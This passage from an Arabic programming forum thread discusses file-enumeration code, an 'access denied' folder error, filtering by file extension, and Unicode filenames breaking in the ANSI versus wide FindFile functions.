GamingMasteR كتب:
بالنسبة للدالة المذكورة لم تواجهني مشكلة مثل هذه من قبل , جرّب اللعب في خصائص المجلد يدوياً وجرّب بعد ذلك :D

لا استطيع حتى الانتقال اليه مباشرة من الدوس لعلمك - access denied

ومحاولة تغيير الـ attrib بشكل يدوي أيضا ترجع access denied..

:blink:

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#50

جهد طيب بارك الله فيكم

اخي GamingMasteR الكود الخاص بك يقوم بارجاع جميع الملفات والمجلدات الخاص بال Path هل يمكنك تعديل الكود باضافة تحديد نوع الملفات مثل .txtاو .htm

كما في كود الاخ Xacker

لو سمحت اخي Xacker ان تقوم بارفاق الملف التنفيذي لبرنامجك لملاحظته عن كثب

هناك سؤال لماذا هذا الاتجاه للكتابة بال High Level Synatex مع اننا في منتدى ال Low Level

ومع ذلك الاكواد هنا جميلة ومنظمة ويسهل قرائتها

ملاحظة اخرى وجدتها وهو ان بعض الملفات عندي فيها محارف Unicode فعند ارجاع اسم الملف من الدالة Find.......File تتغير هذه المحارف الى اشارة الاستفهام

وتفشل بعدها الدالة CreateFile في فتح الملف

هل للامر علاقة ب

Find.......FileA

Find.......FileW

امر اخر لم استطع الحصول على محرر الاكواد هذا الذي كتبتم به المشاركة السابقة اين يتواجد :hmm: في اضافة عنصر خاص ام اين؟

مواضيع مشابهة